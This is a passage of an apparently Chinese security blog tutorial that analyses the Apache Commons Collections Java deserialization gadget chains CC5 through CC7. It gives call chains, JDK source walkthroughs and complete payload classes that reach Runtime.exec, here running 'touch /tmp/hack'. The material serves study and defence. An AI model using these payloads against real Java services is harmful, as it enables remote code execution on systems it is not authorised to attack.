Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "lih3iu" ); BadAttributeValueExpException ins = new BadAttributeValueExpException(null ); Field valfield = ins.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(ins, entry); ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); ois.close(); } }
CommonsCollections6
Gadget Chain
1 2 3 4 5 6 7 8 9 10 11 12
Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
Exploit Code
与上面的CommonsCollections5对比来讲,主要是换了下前面的触发点,在链5中是通过toString函数触发的,在链6里面是通过hashcode触发
跟进hashcode方法
1 2 3 4
public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
再次往回推 哪里调用了hashCode方法
跟进HashMap#hash
1 2 3 4
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
可以看到这里会调用传入对象的hashCode方法,再次跟进调用hash函数的方法
1 2 3
public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
跟进HashSet#put
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); if (capacity < 0 ) { throw new InvalidObjectException("Illegal capacity: " + capacity); } ........ map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings ("unchecked" ) E e = (E) s.readObject(); map.put(e, PRESENT); } }
通过readObject来读取值并且传入map.put函数中,完成之后的一切调用
来看下writeObject是如何写入值的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); }
通过读取map的key来进行写入,所以我们需要做的就是将map的key进行我们需要设置的相关类。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload <Serializable > { public Serializable getObject (final String command) throws Exception { final String[] execArgs = new String[] {"touch /tmp/hack" }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs ), new ConstantTransformer (1) } ; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); HashSet map = new HashSet(1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; }
CommonsCollections7
Gadget Chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
Exploit Code
和前面的链后面也都是一样的,只是换了下前面LazyMap#get的触发方式
AbstractMap#equal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<K,V> m = (Map<K,V>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
将触发点单拿出来
1
if (!value.equals(m.get(key)))
如果在将m赋值为LazyMap的情况下,就可以触发LazyMap#get了
接着去跟进下equals的调用
Hashtable#reconstitutionPut
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } }
而在Hashtable的readObject方法中有reconstitution的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new StreamCorruptedException("Illegal Load: " + loadFactor); int origlength = s.readInt(); int elements = s.readInt(); if (elements < 0 ) throw new StreamCorruptedException("Illegal # of Elements: " + elements); ..... SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class , length ) ; table = new Entry<?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings ("unchecked" ) K key = (K)s.readObject(); @SuppressWarnings ("unchecked" ) V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
再跟进下writeObject看是如何进行写入的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
private void writeObject (java.io.ObjectOutputStream s) throws IOException { Entry<K, V> entryStack = null ; ..... for (int index = 0 ; index < table.length; index++) { Entry<K,V> entry = table[index]; while (entry != null ) { entryStack = new Entry<>(0 , entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null ) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
逻辑为读取当前hashtable中的key/value给entryStack,然后再从entryStack中拿key/value进行写入
所以我们的exp的主要逻辑就是通过put方法将hashtable中的key/value设置好就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload <Hashtable > { public Hashtable getObject (final String command) throws Exception { final String[] execArgs = new String[]{"touch /tmp/hack" }; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class }, execArgs ), new ConstantTransformer (1)} ; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); lazyMap2.remove("yy" ); return hashtable; }
Questions
1.为什么要放两个lazyMap以及为什么要put一个yy和一个zz
跟进反序列化的过程
aTBjbV.png
可以看到在第一次循环的过程,tab为空,在最后会将当前的key/value传入tab,下次中再进行使用,所以为了下次可以正常使用tab中的值,我们必须是的传入的key经过hash函数后的值相同,这同样也是为什么我们要传yy和Zz的原因
aTreLq.png
2.在最后为什么要remove掉yy这个key
在exp中我们调用了Hashtable#put,同样代码也进入了equals
首先在这里得到key
aT28SO.png
跟进get传值
aTgKG8.png
所以会把yy这个键值对放入当前的map,这样会造成在反序列化中两个LazyMap的hashcode不相同,所以要将yy这个键值对remove
Final
对于Commons Collections<=3.2.1:
可用的链为1,3,5,6,7。
对于Commons Collections 4.0:
可用的链为2,4。
大多数链的触发流程其实还是差不多了,无非是换了一些触发点和最后的一些恶意代码触发方法,同样,也可以自己试试挖掘下新的CommonCollections的gadget。
评论